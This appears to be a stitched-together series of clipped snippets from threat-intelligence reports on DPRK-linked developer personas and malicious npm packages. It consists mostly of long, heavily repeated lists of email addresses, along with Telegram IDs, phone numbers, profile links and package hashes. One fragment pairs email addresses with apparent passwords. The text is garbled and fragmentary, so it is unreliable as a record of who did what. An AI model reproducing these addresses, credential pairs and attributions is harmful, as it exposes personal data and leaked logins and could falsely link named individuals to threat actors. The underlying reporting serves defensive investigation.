prettywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@g…","…ttywebdev0105@gmail.com prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@g…","…om prfsnape123456@gmail.com princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com…","…princepopov6@gmail.com pro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com…","…ro.dev.004.930@gmail.com prodev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3con…","…aide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@g…","…odev0119@gmail.com prodev0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qin…","…prince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blo…","…rioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gm…","…v0322@gmail.com prodev0817@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtq…","…peterdwtp525582@hotmail.com perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com realonlinethiago@gmail.com…","…promiseislaw (Marcin Iwanski) - Brent Jeremy - Marcin Iwanski - Liguo Ma - Pirachat Chaiwongrote - promseislaw@gmail.com - smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com -…","…Shalimov upwork.com/freelancers/~014d511b5978bb9853 promiseislaw (Marcin Iwanski): --------------------------------------------- Emails: promseislaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gma…","…primekeyrealtor09471@gmail.com primelocationagent63672@gmail.com prorealtyguide02229@gmail.com propertyadvisor36515278@gmail.com propertyconsultant48888@gmail.com propertygatewayexpert36994@gmail.com propertylistingexpert84712@gmail.com…","…primelocationagent63672@gmail.com prorealtyguide02229@gmail.com propertyadvisor36515278@gmail.com propertyconsultant48888@gmail.com propertygatewayexpert36994@gmail.com propertylistingexpert84712@gmail.com rapidhomebuyer24518@gmail.com…","…prorealtyguide02229@gmail.com propertyadvisor36515278@gmail.com propertyconsultant48888@gmail.com propertygatewayexpert36994@gmail.com propertylistingexpert84712@gmail.com rapidhomebuyer24518@gmail.com realestateadvancer05390@gmail.com…","…propertyadvisor36515278@gmail.com propertyconsultant48888@gmail.com propertygatewayexpert36994@gmail.com propertylistingexpert84712@gmail.com rapidhomebuyer24518@gmail.com realestateadvancer05390@gmail.com realestateconsult11470@gmail.com…","…primehomesconnect12973@gmail.com primekeyrealtor09471@gmail.com primelocationagent63672@gmail.com prorealtyguide02229@gmail.com propertyadvisor36515278@gmail.com propertyconsultant48888@gmail.com propertygatewayexpert36994@gmail.com…","…17@gmail.com professiondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy…","…ondev0706@gmail.com proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar…","…Referred by zhmolly so probably zhmolly alt - pham0315 - pham.t.35 - pt.trung0315 - github.com/pham0315 - pham.t.35@outlook.com - pt.trung0315@gmail.com - ZW4HoVLVCc1m2y9ej7RTyCmXMCHDkdpotiB5ELF9fX2 #### Sadao Elichi / David Adachi / zhmolly - 2025 (jwtradera cluster) - sadaorome -…","…proflogardner@gmail.com profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe125…","…max@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226…","…ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com - topstack2021a@gmail.com - 0xquantech - t.me/MaoDan007 (ID: 5089966453) •…","…Notice pwlkjakub@gmail.com using all of the mentioned identities, indicating all credentials were used by the same person, who was also trying to obscure this fact.…","…burndai, ethlocker, unlocker - choi.link227@gmail.com: Ryan Choi - bitbaby888@gmail.com - mauro@blueberry.garden (blueChamel) - pwongexcal@gmail.com (0xchamel) - zhaoa4317@gmail.com (zhChameleon) - t.me/chamel92 (ID: 6635242888) • ([Messages](./user-6635242888-@chamel92.txt)) -…","…profreelancer222@gmail.com programmermh1@gmail.com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gm…","…Dragon2002, dragon2002 max.cricle@gmail.com asdasdasd philip.henry.0802@gmail.com 123qwe!@#QWE, hornetqwer q3construction1@gmail.com 123123 rib.armor@gmail.com qweQWE123!@# richbondjames@gmail.com James123, james123 romanvaraksin763@gmail.com 11111111, Xiah…","…com projonurs1216@gmail.com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.co…","…kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu - illia.butenko89@gmail.com - ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com -…","…tepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellichain555@gmail.com salbu15154@gmail.com goldsea808@gmail.com goldsea808@yahoo.com alex…","…ulid-xyz came from iloiyxo643@ufiwi.space and redis-type-xyz from qmtijao982@ufiwi.site , two disposable addresses on the same domain root. The payload was added after publication A review of ioredis-xyz on the day it…","…Shared Vietnam phone +84 366 756 552 DreamHi status Defunct - previously shared +1 (480) 271-8467 with Beejern PayPal account qnsoftware92@gmail.com - links DreamHi to QN Software email Three companies in the same cluster ( Beejern , DreamHi and QN Software ) independently using…","…email insider N/A N/A DPRK developer email 2 lozanvranic@gmail.com email insider N/A N/A DPRK developer email 2 qoneits@outlook.com email insider N/A N/A DPRK developer email 2 kitdb@outlook.com email insider N/A N/A DPRK developer email 2 d.musatovdv@gmail.com…","…watcher.node ) — unverifiable content prepack script copies native binaries into node_modules during packaging Account: qqbrowser.dev ( qqbrowser.dev.team@gmail.com ) @qqbrowser/openclaw-qbot (132 versions) 64 dependencies, very large package Earlier versions confirmed malicious (v0.0.130…","…com proxybinna@gmail.com psg210027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbi…","…10027@gmail.com puchai890528@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rab…","…autumnhappyfamily@gmail.com blue621dream@gmail.com james.jenaty031@gmail.com quangtu676957e1525ncz@hotmail.com danhphoze_2364@hotmail.com hangquan5594sxbf72@hotmail.com mahamaslam805@gmail.com adamvenord8@gmail.com Appendix B: Software…","…28@gmail.com py.guru.007@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com…","…pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com realonlinethiago@gmail.com reichenausteve@gmail.com riccardotala798@outlook.com…","…perumalbalak727@outlook.com pineye0212@outlook.com plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com realonlinethiago@gmail.com reichenausteve@gmail.com…","…@gmail.com q3construction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.…","…email insider N/A N/A Threat actor persona email 4 jairoalberto2208@hotmail.com email insider N/A N/A Threat actor persona email 4 quxiujun520520@163.com email insider N/A N/A Threat actor persona email 4 igorslobodyan508@gmail.com email insider N/A N/A Threat actor persona email 4…","…ruction1@gmail.com qingrilee1223@gmail.com qtquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.d…","…email insider N/A N/A Threat actor-controlled email 1 pohs0131@gmail.com email insider N/A N/A Threat actor-controlled email 1 r_gi_19950603@hotmail.com email insider N/A N/A Threat actor-controlled email 1 r_gi19950603@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…insider N/A N/A Threat actor-controlled email 1 r_gi_19950603@hotmail.com email insider N/A N/A Threat actor-controlled email 1 r_gi19950603@hotmail.com email insider N/A N/A Threat actor-controlled email 1 raphael.privat@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com vitalii214.ilnytskyi@gmail.com jasonharry198852@gmail.com millosmike3@gmail.com Malicious npm Packages With HexEval Loader #…","…tquyobe@lionel.anonaddy.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny964…","…elfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosi…","…y.com qualitykingstar@gmail.com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beepl…","…com quanhuahe1258@gmail.com qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com…","…email insider N/A N/A Synthetic persona email 2 oleg.kaplanski@outlook.com email insider N/A N/A Synthetic persona email 2 rafael.ratkovic@outlook.com email insider N/A N/A Synthetic persona email 2 mateusz.moczar@outlook.com email insider N/A N/A Synthetic persona email 2…","…qurafel@gmail.com qweasdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com r…","…asdd@skiff.com r.u.th.tom.a.sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redal…","…om nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@g…","….sj@gmail.com rabbit39407@gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsa…","…gmail.com rabbitwarrior0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com…","…email insider N/A N/A Threat actor persona email 4 anna.putinarus@gmail.com email insider N/A N/A Threat actor persona email 4 rajukumar127.dev@gmail.com email insider N/A N/A Threat actor persona email 4 kekisevu@gmail.com email insider N/A N/A Threat actor persona email 4…","…or0323@gmail.com rabconnection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com…","…in Review stovbanoleksandr14@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review ramirezhector9299@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review mimoriokamoto@gmail.com email malware N/A…","…plyn_rider@protonmail.com proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com realonlinethiago@gmail.com reichenausteve@gmail.com riccardotala798@outlook.com robertwarr1011@gmail.com…","…archiving defenses) Name of author of the article from BlockNova: “Ramon Mckenzie” Email address associated with the Medium account “ ramon.tech@blocknovas.com ” ( Source ) More details on the Ramon Mckenzie persona are included later in the report. BlockNovas’ LinkedIn account…","…across copies Committer-email IOCs (per AllSecure; recur across both repos): coinstar@gmail.com , webvlada2024@gmail.com , randhawamanpreet37@gmail.com , ignusmart@gmail.com , mjlescano@protonmail.com , Pourcheriki@gmail.com , aaronhiroto.bm@gmail.com , lxin6793@gmail.com .…","…email insider N/A N/A Synthetic persona email 2 ankaankahristov@gmail.com email insider N/A N/A Synthetic persona email 2 randoviska@gmail.com email insider N/A N/A Synthetic persona email 2 borislavbabic431@gmail.com email insider N/A N/A Synthetic persona email 2…","…85480db5dfcc0b4da2435fb3ef87915207777fc29af1efcfcff19de9d402697b 2026-09-08 punypump (1.2.5) 2026-09-08 randykbannister <randybannister.0828@gmail.com> 19338d17a974d1c747b3f6c618f08975b8908fdebccbc047c0e72b09daf6ddd3 45a3c6799ab5ad8ab8f02335f1f10debd90e258a42ba311ea3a1914c988c3fd5…","…accounts were among those identified as being used in these schemes: Bright.star.me208@gmail.com , Merrttank.bz@gmail.com , randyryang@gmail.com , michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com , denis.turgenev2021@gmail.com ,…","…ection1380@gmail.com rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.…","…mail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@gmail.com ubiuquitosutru…","…email insider N/A N/A Threat actor-controlled email 1 r_gi19950603@hotmail.com email insider N/A N/A Threat actor-controlled email 1 raphael.privat@gmail.com email insider N/A N/A Threat actor-controlled email 1 rhs0219@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…propertyconsultant48888@gmail.com propertygatewayexpert36994@gmail.com propertylistingexpert84712@gmail.com rapidhomebuyer24518@gmail.com realestateadvancer05390@gmail.com realestateconsult11470@gmail.com realestateconsultant78941@gmail.com…","…rk.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.…","…rafyevumli@gufum.com raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo04…","…in Review vitalii214.ilnytskyi@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review reactangulardev@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review skyearth711@gmail.com email malware N/A…","…propertygatewayexpert36994@gmail.com propertylistingexpert84712@gmail.com rapidhomebuyer24518@gmail.com realestateadvancer05390@gmail.com realestateconsult11470@gmail.com realestateconsultant78941@gmail.com realestateguidelily27361@gmail.com…","…propertylistingexpert84712@gmail.com rapidhomebuyer24518@gmail.com realestateadvancer05390@gmail.com realestateconsult11470@gmail.com realestateconsultant78941@gmail.com realestateguidelily27361@gmail.com realestatepartnerz02814@gmail.com…","…rapidhomebuyer24518@gmail.com realestateadvancer05390@gmail.com realestateconsult11470@gmail.com realestateconsultant78941@gmail.com realestateguidelily27361@gmail.com realestatepartnerz02814@gmail.com realestorxpress23477@gmail.com…","…realestateadvancer05390@gmail.com realestateconsult11470@gmail.com realestateconsultant78941@gmail.com realestateguidelily27361@gmail.com realestatepartnerz02814@gmail.com realestorxpress23477@gmail.com reddixyxzh551438@hotmail.com ricardo.a.t.1010@outlook.com…","…realestateconsult11470@gmail.com realestateconsultant78941@gmail.com realestateguidelily27361@gmail.com realestatepartnerz02814@gmail.com realestorxpress23477@gmail.com reddixyxzh551438@hotmail.com ricardo.a.t.1010@outlook.com…","…realestateconsultant78941@gmail.com realestateguidelily27361@gmail.com realestatepartnerz02814@gmail.com realestorxpress23477@gmail.com reddixyxzh551438@hotmail.com ricardo.a.t.1010@outlook.com richlandhousingsolutions81845@gmail.com…","…medium.com/@charles.leonard.com - charles.leonard.com@gmail.com - David Tanaka / Ninja Dev - realhardworkingdeveloper@gmail.com - davidtanaka3 - trello.com/u/davidtanaka3 - medium.com/@realhardworkingdeveloper -…","…bigben199551@gmail.com[email protected] realhardworkingdeveloper@gmail.com[email protected] thomasanderson19960313@gmail.com[email protected] davidsuzuki51@gmail.com[email protected]…","…--------------------------------------------- IPs: 45.126.3.252 188.43.136.0/24 Emails: topdeveloper01234@gmail.com bigben199551@gmail.com realhardworkingdeveloper@gmail.com thomasanderson19960313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockcha…","…email insider N/A N/A Threat actor persona email 4 alexeysamsonofff@gmail.com email insider N/A N/A Threat actor persona email 4 realnitii1@gmail.com email insider N/A N/A Threat actor persona email 4 devnitin18@gmail.com email insider N/A N/A Threat actor persona email 4…","…proluka80518@outlook.com quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com realonlinethiago@gmail.com reichenausteve@gmail.com riccardotala798@outlook.com robertwarr1011@gmail.com rodolfguerr717@outlook.com…","…1.0.2 2025-08-25 13:11:03 jeffbennett862 jeffbennett862@gmail.com vite-jsconfig 0.3.2 2025-09-06 04:58:57 thiago_chiago realonlinethiago@gmail.com vite-jsconfig 0.3.3 2025-09-06 05:04:34 thiago_chiago realonlinethiago@gmail.com dragon0905-vite-tsconfig-assistant 1.0.3 2025-09-18…","…m raika.crypto.dev@gmail.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100…","…2026-03-26 graph first seen hello@jsonspack.com rollup-plugin-polyfill-route 2026-03-20 graph first seen recruitment.work125@gmail.com simple-auth-basic 2026-04-03 live registry cubistengineer@gmail.com sjs-builder 2026-04-09 live registry…","…l.com rainbowsoft0729@gmail.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking…","…account Year in Review eron4236@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review reddixyxzh551438@hotmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1112@outlook.com email malware…","…realestateguidelily27361@gmail.com realestatepartnerz02814@gmail.com realestorxpress23477@gmail.com reddixyxzh551438@hotmail.com ricardo.a.t.1010@outlook.com richlandhousingsolutions81845@gmail.com richmondhomesales42214@gmail.com…","…l.com rainny9641@gmail.com rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com reside…","…rakes21697@beeplush.com rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com residentevil9083@gmail.com rib…","…The account is associated with the email address redspider0222@gmail.com, and was created on 7 March 2025 Using OSINT Industries on the mail: redspider0222@gmail.com, surfaces additional indicators tied to the…","…rango9986@gmail.com rd3328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com residentevil9083@gmail.com rib.armor@gmail.com ribcage…","…khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop vrindalseth@gmail.com yelyzavetazaporozhtseva@gmail.com Socket Firewall Blocks…","…quongekitti8vs6cx@hotmail.com quintonverdantgsbxf26081@hotmail.com ramirezhector9299@gmail.com realonlinethiago@gmail.com reichenausteve@gmail.com riccardotala798@outlook.com robertwarr1011@gmail.com rodolfguerr717@outlook.com royalcat3982@outlook.com…","…malware to JSON storage services ahmadbahai07@gmail.com drgru854@gmail.com jack.murray.tf7@gmail.com jackhill2765@gmail.com reichenausteve@gmail.com magalhaesbruno236@gmail.com stromdev712418@gmail.com trungtrinh0818@gmail.com Markdown Repositories hosting malicious code…","…2025-09-06 05:04:34 thiago_chiago realonlinethiago@gmail.com dragon0905-vite-tsconfig-assistant 1.0.3 2025-09-18 13:18:03 dragon0905 reichenausteve@gmail.com vite-tsconfig-assistant 1.0.3 2025-09-18 01:47:11 wonderful123 aidanphillips721@gmail.com ℹ️ Note Do you want to see these…","…email insider N/A N/A Synthetic persona email 2 markusvillig20@outlook.com email insider N/A N/A Synthetic persona email 2 reigojakobson45@outlook.com email insider N/A N/A Synthetic persona email 2 masudtarik69@gmail.com email insider N/A N/A Synthetic persona email 2…","…328425@gmail.com rebertkaplan@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com residentevil9083@gmail.com rib.armor@gmail.com ribcage_nastiness263@simplelogin.com…","…@gmail.com redalpszeto3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com residentevil9083@gmail.com rib.armor@gmail.com ribcage_nastiness263@simplelogin.com richardclawsondv@gma…","…niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com pinefirst@outlook.com reply9998@gmail.com richard.stewart.1202@gmail.com richard.stewart.1202@outlook.com sniper_bruce@outlook.com stp.walsh33@gmail.com…","…browser profile on the VPS when we imaged it: drgru854@gmail.com[email protected] , with 1,669 inbox messages at the time of capture, and repodex7@gmail.com[email protected] , with 647.…","…Chrome's Default browser profile on the VPS when we imaged it: drgru854@gmail.com , with 1,669 inbox messages at the time of capture, and repodex7@gmail.com , with 647.…","…o3060@gmail.com redsatellite777@gmail.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com residentevil9083@gmail.com rib.armor@gmail.com ribcage_nastiness263@simplelogin.com richardclawsondv@gmail.com richardjones0928@gmail.com r…","…il.com redshield1106@gmail.com redstar199651@gmail.com rene.arredondo0422@gmail.com renning100@gmail.com resemble_baking416@simplelogin.com residentevil9083@gmail.com rib.armor@gmail.com ribcage_nastiness263@simplelogin.com richardclawsondv@gmail.com richardjones0928@gmail.com richbondjames@gmail.com rich…","…repository philip@cryptoasis.com Commits to malicious repository rares.stanciu@outlook.com Commits to malicious repository reslalinssmok@gmail.com Commits to malicious repository rodrigogrande1@hotmail.com Commits to malicious repository sethnikhil74@gmail.com Commits to…","…loganlee002@gmail.com - loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 -…","…hogwarz.com Emails: loganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 